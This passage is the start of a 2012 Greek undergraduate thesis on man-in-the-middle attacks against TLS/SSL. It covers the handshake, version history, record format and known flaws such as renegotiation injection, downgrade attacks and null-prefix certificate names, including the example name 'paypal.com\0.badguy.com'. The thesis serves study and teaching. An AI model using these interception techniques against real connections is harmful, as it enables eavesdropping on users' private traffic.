Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS...Επιθέσεις...
Transcript of Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS...Επιθέσεις...
ΕΘΝΙΚΟ ΚΑΙ ΚΑΠΟΔΙΣΤΡΙΑΚΟ ΠΑΝΕΠΙΣΤΗΜΙΟ ΑΘΗΝΩΝ
ΣΧΟΛΗ ΘΕΤΙΚΩΝ ΕΠΙΣΤΗΜΩΝΤΜΗΜΑ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΤΗΛΕΠΙΚΟΙΝΩΝΙΩΝ
ΠΤΥΧΙΑΚΗ ΕΡΓΑΣΙΑ
Επιθεσεις ενδιαμεσου στο πρωτοκολλο TLS
Δημήτρης Σ. Μωραϊτης
Επιβλεποντες: Άγγελος Κιαγιας, Επίκουρος Καθηγητής
ΑΘΗΝΑ
Μαρτιος 2012
ΠΤΥΧΙΑΚΗ ΕΡΓΑΣΙΑ
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Δημήτρης Σ. Μωραϊτης
Α.Μ.: 1134
ΕΠΙΒΛΕΠΟΝΤΕΣ: Άγγελος Κιαγιας, Επίκουρος Καθηγητής
ΠΕΡΙΛΗΨΗ
Το TLS και ο πρόγονος του, το SSL, είναι τα κυρια κρυπτογραφικά πρωτόκολλα που
χρησιμοποιουνται στο διαδίκτυο. Στόχος αυτής της εργασίας είναι η μελέτη των πιθανων
επιθέσεων ενδιάμεσου (man-in-the-middle) σε συνδέσεις TLS, καθως και η ανάπτυξη
εκπαιδευτικων εργαλείων λογισμικου που διευκολυνουν τέτοιου τυπου επιθέσεις.
ΘΕΜΑΤΙΚΗ ΠΕΡΙΟΧΗ: Ασφάλεια συστημάτων
ΛΕΞΕΙΣ ΚΛΕΙΔΙΑ: ασφάλεια στο διαδίκτυο, επιθέσεις ενδιάμεσου, κρυπτογραφία, TLS,
SSL, HTTPS
ΠΕΡΙΕΧΟΜΕΝΑ
ΠΡΟΛΟΓΟΣ.................................................................................................................................. 7
1.ΤΟ ΠΡΩΤΟΚΟΛΛΟ TLS.................................................................................................... 9
1.1 Περιγραφή........................................................................................................................................... 9
1.2 Ιστορία............................................................................................................................................... 10
1.2.1 Secure Network Programming API.............................................................................................. 10
1.2.2 SSL 1.0, 2.0 & 3.0........................................................................................................................ 11
1.2.3 TLS 1.0 (SSL 3.1)........................................................................................................................ 11
1.2.4 TLS 1.1 (SSL 3.2)........................................................................................................................ 11
1.2.5 TLS 1.2 (SSL 3.3)......................................................................................................................... 11
1.3 Εφαρμογές........................................................................................................................................ 12
1.4 Ασφάλεια............................................................................................................................................ 13
1.4.1 Ευπαθειες.................................................................................................................................... 13
1.5 Δομή.................................................................................................................................................... 16
1.5.1 Πρωτόκολλο εφαρμογής.............................................................................................................. 21
1.6 Χειραψία TLS...................................................................................................................................... 22
1.6.1 Απλή χειραψία............................................................................................................................. 22
1.6.2 Χειραψία με αυθεντικοποίηση πελατη..........................................................................................23
1.6.3 Σύντομη χειραψία........................................................................................................................ 25
1.7 Υλοποιήσεις....................................................................................................................................... 26
1.8 Πρότυπα............................................................................................................................................. 27
2.X.509......................................................................................................................................................31
2.1 Περιγραφή.......................................................................................................................................... 31
2.2 Πιστοποιητικά.................................................................................................................................... 32
2.3 Ασφάλεια............................................................................................................................................ 35
3.ΕΠΙΘΕΣΕΙΣ MAN-IN-THE-MIDDLE ΣΤΟ SSL/TLS...............................................39
3.1 Self signed certificate attack............................................................................................................ 39
3.2 Compelled certificate creation attack.............................................................................................. 39
3.3 Short Chosen-Prefix collisions for MD5 and the creation of a rogue CA certificate....................41
3.4 SSLSniff.............................................................................................................................................. 42
3.4.1 Null prefix attack........................................................................................................................... 42
3.4.2 OSCP attack................................................................................................................................ 43
3.5 SSLstrip.............................................................................................................................................. 44
3.6 Renegotiation attack......................................................................................................................... 44
3.7 Cipher Block Chaining attacks & BEAST........................................................................................ 47
4.ΚΡΙΤΙΚΗ ΚΑΙ ΠΡΟΤΑΣΕΙΣ ΒΕΛΤΊΩΣΗΣ..................................... 49
4.1 Certificate Pinning............................................................................................................................. 50
4.2 DNSSec............................................................................................................................................... 51
4.3 Trust Agility - Perspectives & Convergence.io................................................................................51
4.4 Sovereign Keys.................................................................................................................................. 54
4.5 Certificate Authority Transparency and Auditability.......................................................................56
4.6 Monkeysphere.................................................................................................................................... 56
4.7 Identity based encryption................................................................................................................. 57
4.8 Άλλα.................................................................................................................................................... 57
5.ΕΡΓΑΛΕΙΑ ΠΟΥ ΑΝΑΠΤΥΧΘΗΚΑΝ.......................................................... 59
5.1 TwistedEve......................................................................................................................................... 59
5.1.1 Εγκατασταση................................................................................................................................ 59
5.1.2 Χρήση.......................................................................................................................................... 59
5.1.2.1 Χειροκίνητη παρεμβαση σε μη κρυπτογραφημένες συνδέσεις.............................................. 59
5.1.2.2 Αυτόματη παρέμβαση σε μη κρυπτογραφημένες συνδέσεις.................................................61
5.1.2.3 Παρέμβαση σε συνδέσεις TLS.............................................................................................. 62
5.1.2.4 Πληροφορίες για συνδέσεις TLS........................................................................................... 63
5.2 TLSLite................................................................................................................................................ 64
6.ΣΥΜΠΕΡΑΣΜΑΤΑ............................................................................................................ 65
ΠΙΝΑΚΑΣ ΟΡΟΛΟΓΙΑΣ.............................................................................................67
7.ΣΥΝΤΜΗΣΕΙΣ – ΑΡΚΤΙΚΟΛΕΞΑ – ΑΚΡΩΝΥΜΙΑ.................69
8.ΠΑΡΑΡΤΗΜΑ Ι................................................................................................................... 71
9.ΠΑΡΑΡΤΗΜΑ ΙΙ............................................................................................................. 111
ΑΝΑΦΟΡΕΣ.............................................................................................................................. 133
ΠΡΟΛΟΓΟΣΤο διαδίκτυο διευρυνει συνεχως τον ρόλο που επιτελεί σε όλο και περισσότερες πλευρές
της ανθρωπινης δραστηριότητας. Αυτή η τάση καθιστά επιτακτικότερη την ανάγκη για
κρυπτογραφικά πρωτόκολλα ανθεκτικά σε απόπειρες υποκλοπής και μεταβολής του
περιεχομένου της επικοινωνίας. Το πιο διαδεδομένο τέτοιο πρωτόκολλο στο διαδίκτυο
σήμερα είναι το TLS και ο πρόγονός του, τo SSL.
Ενα πρωτόκολλο επικοινωνίας για να θεωρείται ασφαλές πρέπει να παρέχει ι)
μυστικότητα της επικοινωνίας ιι) ακεραιότητα των δεδομένων και ιιι) αυθεντικοποίηση
των συμμετεχόντων.
Τα τελευταία χρόνια γινόμαστε μάρτυρες συνεχων επιθέσεων σε κρυπτογραφημένες
συνδέσεις TLS, που πραγματοποιουνται από ιδιωτες, εταιρείες, αλλά και κυβερνήσεις
κρατων όπως η Κίνα, το Ιράν και η Συρία, που συχνά λειτουργουν σαν ενδιάμεσοι σε
συνδέσεις πολιτων με κρυπτογραφημένες υπηρεσίες στο διαδίκτυο. Στόχοι των
επιθέσεων αυτων είναι η παρακολουθηση, ή παρεμπόδιση της επικοινωνίας, ή η
μεταβολή του περιεχομένου της.
Στην εργασία αυτή θα μελετήσουμε την ασφάλεια του πρωτοκόλλου TLS και τις γνωστές
επιθέσεις ενδιάμεσου που το αφορουν. Θα δουμε πως εξελίχθηκε το TLS/SSL για να
ξεπεράσει τις πραγματικές και θεωρητικές επιθέσεις που δημοσιευτηκαν και θα
αποπειραθουμε αξιολογήσουμε τις κυριες τρέχουσες αδυναμίες του και τις πιθανές
λυσεις που έχουν προταθεί, κάποιες από τις οποίες μόλις τους τελευταίους μήνες.
Τέλος, θα παρουσιάσουμε το TwistedEve, ένα εξειδικευμένο εργαλείο λογισμικου που
αναπτυχθηκε στα πλαίσια αυτής της μελέτης και διευκολυνει ορισμένους τυπους
επιθέσεων ενδιάμεσου. Προορίζεται για εκπαιδευτική χρήση και θα χρησιμοποιηθεί στα
πλαίσια εργασίας του μαθήματος “Προστασία και Ασφάλεια Υπολογιστικων
Συστημάτων” που διδάσκεται στο τμήμα Πληροφορικής και Τηλεπικοινωνιων του ΕΚΠΑ.
Διδάσκων του μαθήματος και επιβλέπων της παρουσης εργασίας είναι ο επίκουρος
καθηγητής Αγγελος Κιαγιάς. Τον ευχαριστω θερμά για τη βοήθεια του, την υπομονή που
έδειξε μέχρι να ολοκληρωσω τη μελέτη αυτή εν μέσω πολλαπλων παράλληλων
υποχρεωσεων και κυρίως για την ευκαιρία που μου έδωσε να ασχοληθω σε βάθος με
ένα θέμα τόσο φλέγον για την ασφάλεια του διαδικτυου που όχι μόνο αφορά άμεσα τη
δουλειά μου, αλλά έχει και σημαντικές κοινωνικές προεκτάσεις.
Επίσης, θα ήθελα να ευχαριστήσω τους συναδέλφους και συνεταίρους μου στην
unweb.me για την υπομονή που έδειξαν όταν παραμελουσα τις εκεί υποχρεωσεις μου
για να ασχοληθω με αυτή την εργασία και κυρίως τον Μάρκο Γωγουλο, για την
ενθάρρυνση και τις ιδέες του γυρω από το θέμα.
Τέλος, δεν μπορω να μην ευχαριστήσω τους γονείς μου, που με στήριξαν με πολλους
τρόπους από την αρχή της φοιτητικής μου σταδιοδρομίας.
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
1. Το πρωτοκολλο TLS
1.1 Περιγραφή
Το TLS είναι ένα κρυπτογραφικό πρωτόκολλο που έχει σαν πρωτευοντες στόχους την
ιδιωτικότητα και την ακεραιότητα των δεδομένων κατά την επικοινωνία ανάμεσα σε μια
εφαρμογή πελάτη (client) και σε μια εφαρμογή εξυπηρετητή (server). Πιο συγκεκριμένα,
οι στόχοι του TLS σε σειρά προτεραιότητας είναι οι εξής:
1. Κρυπτογραφική ασφάλεια
2. Διαλειτουργικότητα
3. Επεκτασιμότητα
4. Σχετική αποδοτικότητα
To TLS χρησιμοποιείται ως ενδιάμεσο πρωτόκολλο μεταξυ του επιπέδου εφαρμογων και
του επιπέδου μεταφοράς. Χρησιμοποιεί ασυμμετρη κρυπτογραφία για ανταλλαγή
κλειδιων, συμμετρική κρυπτογραφία για ιδιωτικότητα και κωδικες επαλήθευσης
αυθεντικοποίησης μηνυμάτων (Message Authentication Codes) για επαλήθευση της
ακεραιότητας των δεδομένων.
Το TLS είναι πρότυπο του IETF, με τελευταία ανανέωση στο RFC5246 και βασίζεται στις
προδιαγραφές του παλαιότερου πρωτοκόλλου SSL που αναπτυχθηκε από τη Netscape
Communications.
Αρκετές εκδόσεις του πρωτοκόλλου χρησιμοποιουνται ευρέως σε εφαρμογές όπως ο
παγκόσμιος ιστός (www), η ηλεκτρονική αλληλογραφία (email), η διαδικτυακή
τηλεφωνία (VoIP), κ.α.
Καθως τα περισσότερα από τα παραπάνω πρωτόκολλα μπορουν να χρησιμοποιηθουν
τόσο χωρίς, όσο και με το TLS, είναι απαραίτητο η εφαρμογή εξυπηρετητή να δηλωσει
αν υποστηρίζει το TLS. Αυτό μπορεί να γίνει με δυο τρόπους.
• Ο πρωτος είναι να διατεθεί μια ξεχωριστή πόρτα επικοινωνίας που θα
υποστηρίζει χρήση του TLS. Για παράδειγμα το HTTPS που είναι HTTP πάνω
από TLS, συνήθως χρησιμοποιεί την πόρτα 443 αντί για την πόρτα 80 που
χρησιμοποιεί παραδοσιακά το απλό HTTP.
• Ο δευτερος τρόπος είναι να χρησιμοποιηθεί η ίδια πόρτα με την υπηρεσία χωρίς
TLS αλλά να δοθεί η δυνατότητα στην εφαρμογή πελάτη να μετατρέψει τη
συνδεσή σε TLS στέλνοντας μια ειδική εντολή στα πλαίσια του αρχικου
Δημήτρης Μωραϊτης 9
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
πρωτοκόλλου. Ενα τέτοιο παράδειγμα είναι η εντολή STARTTLS στα
πρωτόκολλα SMTP, IMAP & POP.
Οταν ο πελάτης και ο εξυπηρετητής αποφασίσουν να ξεκινήσουν μια συνδεση TLS,
καταρχήν διαπραγματευονται τις παραμέτρους της επικοινωνίας μέσα από μια
διαδικασία χειραψίας (TLS Handshake).
1. Η χειραψία ξεκινά με τον πελάτη να ζητάει μια ασφαλή συνδεση, στέλνοντας τη
λίστα με τις σουίτες κρυπταλγορίθμων (cipher suite = κρυπταλγόριθμος +
συνάρτηση κατακερματισμου) που υποστηρίζει
2. O εξυπηρετητής επιλέγει από τη λίστα αυτή το ισχυρότερο από τα cipher suites
που υποστηρίζει ο ίδιος και ενημερωνει τον πελάτη για την απόφαση
3. Ο εξυπηρετητής στέλνει την ταυτότητά του στη μορφή ενός ψηφιακου
πιστοποιητικου Χ.509. Το πιστοποιητικό περιέχει το όνομα του εξυπηρετητή, την
αρχή πιστοποίησης και το δημόσιο κλειδί του εξυπηρετητή.
4. Ο πελάτης επαληθευει την εγκυρότητα του πιστοποιητικου, ενδεχομένως
επικοινωνωντας με την αρχή πιστοποίησης
5. Προκειμένου να παραχθουν τα κλειδιά συνεδρίας (session keys), ο πελάτης
κρυπτογραφεί έναν τυχαίο αριθμό με το δημόσιο κλειδί του εξυπηρετητή και
στέλνει το αποτέλεσμα. Ο εξυπηρετητής είναι ο μόνος που μπορεί να
αποκρυπτογραφήσει το μήνυμα, με τη βοήθεια του ιδιωτικου κλειδιου του
6. Με βάση τον αριθμό αυτό, τόσο ο πελάτης όσο και ο εξυπηρετητής παράγουν τα
κλειδιά συνεδρίας για κρυπτογράφηση και αποκρυπτογράφηση του περιεχομένου
Μετά από αυτά τα βήματα ξεκινά η ασφαλής συνδεση, τα περιεχόμενα της οποίας
κρυπτογραφουνται μέχρι το τέλος της συνδεσης.
Αν αποτυχει κάποιο από τα παραπάνω βήματα η χειραψία αποτυγχάνει και δεν ξεκινά
ασφαλής συνδεση.
1.2 Ιστορία
1.2.1 Secure Network Programming API
Πρωιμες ερευνητικές προσπάθεις στην ασφάλεια επιπέδου μεταφοράς (Transport Layer
Security) περιελάμβαναν το Secure Network Programming (SNP) API, που το 1993
διερευνησε την προσέγγιση ενός ασφαλους επιπέδου μεταφοράς που προσομοιάζει
Δημήτρης Μωραϊτης 10
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Berkeley Sockets προκειμένου να διευκολυνει την προσαρμογή προυπαρχόντων
εφαρμογων.
1.2.2 SSL 1.0, 2.0 & 3.0
Το πρωτόκολλο SSL αναπτυχθηκε αρχικά από την Netscape και κατά κυριο λόγο από
τον μηχανικό Kipp Hickman. Η έκδοση 1.0 δε δημοσιευτηκε ποτέ. Η έκδοση 2.0
κυκλοφόρησε το Φεβρουάριο του 1995 αλλά είχε μια σειρά από προβλήματα ασφαλείας
που τελικά οδήγησαν στη σχεδίαση του SSL 3.0. Το SSL 3.0 κυκλοφόρησε το 1996 και
ήταν ένας πλήρης ανασχεδιασμός του πρωτοκόλλου που έγινε από τον Paul Kocher σε
συνεργασία με τους μηχανικους της Netscape, Phil Karlton & Alan Freir. Οι επόμενες
εκδόσεις του SSL/TLS βασίζονται στο SSL v3.0
1.2.3 TLS 1.0 (SSL 3.1)
To TLS 1.0 ορίστηκε καταρχήν στο RFC 2246 τον Ιανουάριο του 1999 σαν μια
αναβάθμιση του SSL Version 3.0. Οι αλλαγές ανάμεσα στο TLS 1.0 και το SSL 3.0 δεν
είναι μεγάλες, αλλά είναι αρκετές ωστε μην υπάρχει διαλειτουργικότητα ανάμεσα στα 2
πρωτόκολλα. Το TLS 1.0 περιλαμβάνει ένα μηχανισμό για την υποβάθμιση του
πρωτοκόλλου επικοινωνίας σε SSL 3.0.
1.2.4 TLS 1.1 (SSL 3.2)
To TLS 1.1 ορίστηκε στο RFC 4346 τον Απρίλη του 2006. Είναι μια αναβάθμιση από την
έκδοση 1.0. Οι βασικές αλλαγές σε αυτή την έκδοση είναι οι παρακάτω:
• Προσθήκη προστασίας ενάντια σε επιθέσεις Cipher block chaining (CBC).
• Ο υπονοουμενος Πίνακας Αρχικοποίησης (Initialization Vector)
αντικαταστάθηκε από ένα ρητό IV.
• Αλλαγές στη διαχείριση padding errors.
• Υποστήριξη για καταχωρηση παραμέτρου στο IANA.
1.2.5 TLS 1.2 (SSL 3.3)
Το TLS 1.2 ορίστηκε στο RFC 5246 τον Αυγουστο του 2008. Βασίζεται στο TLS 1.1 με
κυριες διαφορές τις παρακάτω:
• Ο συνδυασμός MD5-SHA-1 στην ψευδοτυχαία συνάρτηση (PRF)
αντικαταστάθηκε από τον SHA-256, με δυνατότητα χρήσης PRF οριζόμενο από
την cipher-suite.
Δημήτρης Μωραϊτης 11
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
• Ο συνδυασμός MD5-SHA-1 στο hash του μηνυματος Finished αντικαταστάθηκε
από τον SHA-256, με δυνατήτητα χρήσης διαφορετικων αλγοριθμων ανάλογα με
το cipher-suite.
• Ο συνδυασμός MD5-SHA-1 στο ψηφιακά υπογραγραμμένο στοιχείο
αντικαταστάθηκε με ένα μοναδικό hash που ορίζεται κατά τη διάρκεια της
χειραψίας με προεπιλογή το SHA- 1.
• Βελτιωσεις στις δυνατότητες του πελάτη και του εξυπηρερητή να ορίζουν ποιους
αλγορίθμους αποδέχονται για hashing και ψηφιακές υπογραφές.
• Επέκταση της υποστήριξης κρυπταλγορίθμων για αυθεντικοποιημένη
κρυπτογραφία
• Προστέθηκε ορισμός των επεκτάσεων του TLS, καθως και Advanced Encryption
Standard ciphersuites.
To TLS 1.2 βελτιωθηκε περαιτέρω στο RFC 6176 το Μάρτιο του 2011, με την αφαίρεση
της προς τα πίσω συμβατότητας που επιτρέπει την υποβάθμιση του πρωτοκόλλου σε
SSL 2.0.
1.3 Εφαρμογες
Κατά τη σχεδίαση εφαρμογων, το ΤLS συνήθως υλοποιείται πάνω από οποιοδήποτε
πρωτόκολλο επιπέδου μεταφοράς (ΟSI level 4), ενθυλακωνοντας πρωτόκολλα
εφαρμογων όπως τα ΗTTP, FTP, SMTP, NNMP & XMMP. Κατά κυριο λόγω έχει
χρησιμοποιηθεί πάνω από αξιόπιστα πρωτόκολλα μεταφοράς όπως το TCP, αλλά
υπάρχουν και υλοποιήσεις με datagram oriented πρωτόκολλα όπως τα UDP &
DCCP/DTLS.
Εξέχουσα εφαρμογή του TLS είναι η χρήση του για την διασφάλιση επικοινωνιων στον
παγκόσμιο ιστό με το πρωτόκολλο HTTPS που είναι η ενθυλάκωση του πρωτοκόλλου
HTTP από το TLS. Το HTTPS είναι απαραίτητο σε εφαρμογές ηλεκτρονικου εμπορίου
και ηλεκτρονικής τραπεζικής. Το πρωτόκολλο SMTP για την αποστολή ηλεκτρονικου
ταχυδρομείου προστατευεται όλο και συχνότερα από το TLS. Οι εφαρμογές αυτές
χρησιμοποιουν ψηφιακά πιστοποιητικά για να ταυτοποιήσουν τα εμπλεκόμενα μέλη.
Το TLS μπορεί επίσης να χρησιμοποιηθεί για την ενθυλάκωση μιας ολόκληρης στοίβας
δικτυακων πρωτοκόλλων, επιτρέποντας έτσι τη δημιουργία ιδεατων εικονικων δικτυων
(VPN), με παράδειγμα την περίπτωση του OpenVPN. Σε συγκριση με παραδοσιακές
Δημήτρης Μωραϊτης 12
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
τεχνολογίες VPN με βάση το IPsec, το TLS προσφέρει πλεονεκτήματα στη διασχιση
firewall και δικτυων με NAT.
Το TLS είναι ο κυριος τρόπος προστασίας για το πρωτόκολλο SIP που χρησιμοποιείται
σε εφαρμογές δικτυακής τηλεφωνίας VoIP.
1.4 Ασφαλεια
Το TLS περιλαμβάνει μια σειρά από μέτρα ασφαλείας:
• Προστασία από την υποβάθμιση του πρωτοκόλλου σε προηγουμενη (λιγότερο
ασφαλή) έκδοση ή πιο αδυναμο cipher suite
• Αρίθμηση των μηνυμάτων εφαρμογής με αριθμό σειράς που χρησιμοποιείται από
κωδικες αυθεντικοποίησης μηνυμάτων (MACs)
• Χρήση συνοψης μηνυμάτων (message digest) με κλειδί, ωστε μόνο κάποιος που
έχει το κλειδί να μπορεί να ελέγξει το MAC.
• Το μήνυμα που ολοκληρωνει τη χειραψία ("Finished") στέλνει ένα hash όλων των
μηνυμάτων χειραψίας που έχουν δει και τα δυο μέλη
• Η ψευδοτυχαία συνάρτηση χωρίζει τα δεδομένα εισόδου στα δυο και
επεξεργάζεται κάθε ένα με διαφορετικό αλγόριθμο κατακερματισμου (MD5 &
SHA-1) και στη συνέχεια εκτελεί πράξη XOR για να κατασκευάσει το MAC. Αυτό
παρέχει προστασία ακόμα και αν ένας από τους αλγορίθμους είναι ευάλωτος -
Μόνο στο TLS
• To SSL 3.0 βελτιωνει το SSL 2.0 προσθέτοντας ciphers βασισμένους στον SHA-1
και υποστήριξη ταυτοποίησης πιστοποιητικων
Από πλευράς ασφαλείας, το SSL 3.0 πρέπει να θεωρείται λιγότερο επιθυμητό από το
TLS 1.0. Τα cipher suites του SSL 3.0 έχουν λιγότερη ασφαλή διαδικασία παραγωγής
κλειδιου. Το μισό κλειδί εξαρτάται απόλυτα από τη συνάρτηση κατακερματισμου MD5
που δεν είναι ανθεκτική σε συγκρουσεις, οπότε δε θεωρείται ασφαλής. Στο TLS 1.0, το
κυριο κλειδί που παράγεται εξαρτάται τόσο από τον MD5 όσο και από τον SHA-1, οπότε
η διαδικασία παραγωγής του δε θεωρείται αδυναμη. Για αυτό το λόγο οι υλοποιήσεις του
SSL 3.0 δεν μπορουν να πιστοποιηθουν κάτω από το FIPS 140-2.
1.4.1 Ευπαθειες
Μια αδυναμία στη διαδικασία επαναδιαπραγμάτευσης που ανακαλυφτηκε τον Αυγουστο
του 2009 επιτρέπει την εισαγωγή απλου κειμένου στις συνεδρίες SSL 3.0 & TLS 1.0. Για
Δημήτρης Μωραϊτης 13
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
παράδειγμα, επιτρέπει σε έναν επιτιθέμενο που μπορεί να υποκλέψει μια https
συνδεση, να προσθέσει τις δικές του αιτήσεις στην αρχή της συνομιλίας του πελάτη με
τον εξυπηρετητή. Ο επιτιθέμενος δεν μπορεί όμως να αποκρυπτογραφήσει τα δεδομένα
της επικοινωνίας πελάτη - εξυπηρετητή οπότε δεν πρόκειται για μια τυπική επίθεση
ενδιάμεσου. Αν ο χρήστης δεν προσέχει τη σχετική ένδειξη της εφαρμογής πελάτη για
ασφαλείς συνδέσεις, τότε η επίθεση αυτή μπορεί να μετατραπεί σε πραγματική επίθεση
ενδιάμεσου. Ενα βραχυπρόθεσμο μέτρο διόρθωσης είναι για τους εξυπηρετητές να
σταματήσουν να επιτρέπουν τη διαδικασία επαναδιαπραγμάτευσης, το οποίο δε
δημιουργεί προβλήματα όταν δεν χρησιμοποιείται αυθεντικοποίηση και του πελάτη με
πιστοποιητικό. Για τη διόρθωση του προβλήματος έχει προταθεί μια επέκταση του TLS.
Απαιτεί από τον πελάτη και τον εξυπηρετητή να περιλάβουν και να επαληθευσουν
πληροφορίες για τις προηγουμενες χειραψίες σε κάθε χειραψία επαναδιαπραγμάτευσης.
Η επέκταση αυτή είναι προτεινόμενο πρότυπο με τον αριθμό RFC 5746 και έχει ήδη
υλοποιηθεί από την OpenSSL και άλλες βιβλιοθήκες.
Πέρα από επιθέσεις στο ίδιο το πρωτόκολλο, υπάρχουν και μια σειρά από επιθέσεις σε
υλοποιήσεις του:
• Σε παλιότερες υλοποιήσεις, κάποιες αρχές πιστοποίησης δεν όριζαν ρητά την
παράμετρο basicConstraints CA=FALSE στα πιστοποιητικά που υπέγραφαν για
κόμβους φυλλα. Σαν αποτέλεσμα τα πιστοποιητικά αυτά μπορουσαν να
χρησιμοποιηθουν για να υπογραφουν πλαστά πιστοποιητικά. Επιπλέον, κάποιες
πρωιμες εφαρμογές πελάτη (π.χ. Microsoft Internet Explorer 6) δεν έλεγχαν καν
το σχετικό πεδίο, πράγμα που μπορεί να χρησιμοποιηθεί για επιθέσεις
ενδιάμεσου σε όλες τις πιθανές συνδέσεις SSL
• Κάποιες υλοποιήσεις, ανάμεσα στις οποίες παλιότερες εκδόσεις του Microsoft
Cryptographic API, του Network Security Services και του GnuTLS, σταματουν
την ανάγνωση χαρακτήρων μετά τον χαρακτήρα null στο πεδίο ονόματος του
πιστοποιητικου, πράγμα που μπορεί να χρησιμοποιηθεί για να ξεγελαστεί η
εφαρμογή πελάτη, πιστευοντας ότι το πιστοποιητικό προήλθε από τον
πραγματικό εξυπηρετητή. π.χ. το paypal.com\0.badguy.com θα θεωρουσαν ότι
προέρχεται από το paypal.com αντί για το badguy.com
• Οι εφαρμογές πελάτη (π.χ. web browsers) υλοποίησαν μηχανισμους
υποβάθμισης της έκδοσης του πρωτοκόλλου SSL/TLS σε προηγουμενες
εκδόσεις για λόγους συμβατότητας. Η προστασία που προσφέρει το SSL/TLS
Δημήτρης Μωραϊτης 14
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
ενάντια στην υποβάθμιση της έκδοσης του πρωτοκόλλου από μία ενεργή επίθεση
ενδιάμεσου μπορεί να καταστεί άχρηστη από τέτοιους μηχανισμους
Το SSL 2.0 είναι ελλιπές με αρκετους τρόπους:
• Τα ίδια κρυπτογραφικά κλειδιά χρησιμοποιουνται για την αυθεντικοποίηση των
μηνυμάτων και την κρυπτογράφηση
• Το SSL 2.0 έχει μια αδυναμη κατασκευή MAC που χρησιμοποιεί τη συνάρτηση
κατακερματισμου MD5 με ένα μυστικό πρόθεμα, που το καθιστά ευάλωτο σε
επιθέσεις επέκτασης μήκους
• Το SSL 2.0 δεν προστατευει την χειραψία, πράγμα που σημαίνει ότι μια επίθεση
υποβάθμισης της έκδοσης μπορεί να μη γίνει καν αντιληπτή
• Το SSL 2.0 κλείνει την TCP συνδεση για να σηματοδοτήσει το τέλος των
δεδομένων. Αυτό σημαίνει ότι είναι εφικτές επιθέσεις περικοπής: Ο επιτιθέμενος
απλά πλαστογραφεί ένα TCP FIN και ο παραλήπτης δεν μπορεί να ξέρει ότι το
μήνυμα δεδομένων δε μεταφέρθηκε ολόκληρο. Το SSL 3.0 διορθωνει αυτό το
πρόβλημα με μια ρητή προειδοποίηση κλεισίματος
• Το SSL 2.0 υποθέτει μια μόνο υπηρεσία και ένα πιστοποιητικό για συγκεκριμένο
όνομα δικτυακου τόπου, πράγμα που συγκρουεται με το στανταρ του virtual
hosting στου web servers. Αυτό σημαίνει ότι πολλές ιστοσελίδες είναι πρακτικά
αδυνατο να χρησιμοποιήσουν SSL.
Το SSL 2.0 είναι απενεργοποιημένο στους Internet Explorer 7 η μεγαλυτερο, Mozilla
Firefox 2 η μεγαλυτερο, Opera 9.5 ή μεγαλυτερο και Safari. Ο Mozilla Firefox, αν στείλει
ένα TLS ClientHello και δει ότι ο εξυπηρετητής δε μπορεί να ολοκληρωσει τη χειραψία,
τότε θα προσπαθήσει να υποβαθμίσει το πρωτόκολλο σε SSL 3.0 με ένα ClientHello σε
φορμά SSL 2.0 προκειμένου να μεγιστοποιήσει την πιθανότητα επιτυχους χειραψίας με
παλιότερους εξυπηρετητές.
Τροποποιήσεις του αρχικου πρωτοκόλλου όπως το False Start που υιοθετεί ο Google
Chrome ή το Snap Start, έχει αναφερθεί ότι εισάγουν περιορισμένες επιθέσεις
υποβάθμισης της έκδοσης του πρωτοκόλλου, η ότι επιτρέπουν παρεμβάσεις στη λίστα
με τα cipher suite που στέλνονται από τον πελάτη στον εξυπηρετητή. Ενας επιτιθέμενος
μπορεί να επηρεάσει την επιλογή του cipher suite προκειμένου να υποβαθμίσει την
ασφάλειά του, επιλέγοντας είτε ένα πιο αδυναμο συμμετρικό αλγόριθμο
κρυπτογράφησης ή μια πιο αδυναμη ανταλλαγή κλειδιων.
Δημήτρης Μωραϊτης 15
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
1.5 Δομή
To TLS ανταλλάσει “έγγραφα” (records) που ενθυλακωνουν τα δεδομένα που
ανταλλάσονται. Τα πακέτα μπορεί να είναι συμπιεσμένα, παραγεμισμένα (padded),
κρυπτογραφημένα, ή και να περιέχουν κωδικες αυθεντικοποίησης μηνυμάτων (MAC),
ανάλογα με την κατάσταση της συνδεσης. Κάθε έγγραφο έχει ένα πεδίου “τυπου
περιεχομένου” (Content type) που ορίζει τον τυπο του εγγράφου, ένα πεδίο μήκους και
ένα πεδίο έκδοσης του TLS.
Πρωτοκολλο εγγραφων
Στον παρακάτω πίνακα φαίνεται η γενική δομή όλων των εγγράφων του ΤLS.
Θεση Περιεχομενο Μήκος σε bytes
0 Τυπος μηνυματος 1
1 Εκδοση (major, minor) 2
3 Μήκος 2
5 Μήνυμα(τα) πρωτοκόλλου m
5+m MAC (προαιρετικά) n
5+m+n Παραγέμισμα (μόνο σε block ciphers)
p
Τύπος μηνύματος
Το πεδίο αυτό καθορίζει τον τυπο του εγγράφου όπου βασίζεται το μήνυμα και μπορεί
να πάρει μία τιμή από τις παρακάτω.
Hex Dec Type
0x14 20 ChangeCipherSpec
0x15 21 Alert
0x16 22 Handshake
0x17 23 Application
Έκδοση
Το πεδίο αυτό καθορίζει την κυρια και δευτερευουσα έκδοση του TLS για το
μεταδιδόμενο μήνυμα.
Δημήτρης Μωραϊτης 16
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
MΚύρια εκδοση
MΔευτερεύουσα εκδοση
VΈκδοση SSL/TLS
3 0 SSL 3.0
3 1 TLS 1.0
3 2 TLS 1.1
3 3 TLS 1.2
Μήκος
Το μήκος του μηνυματος πρωτοκόλλου, όχι πάνω από 214 bytes (16 KiB).
Μηνύμα(τα) πρωτοκολλου
Ενα ή περισσότερα μηνυματα πρωτοκόλλου. Το πεδίο αυτό μπορεί να είναι
κρυπτογραφημένο, ανάλογα με την κατάσταση της συνδεσης.
MAC & Παραγεμισμα (padding)
Κωδικας αυθεντικοποίησης μηνυματος, υπολογισμένος από το μήνυμα πρωτοκόλλου,
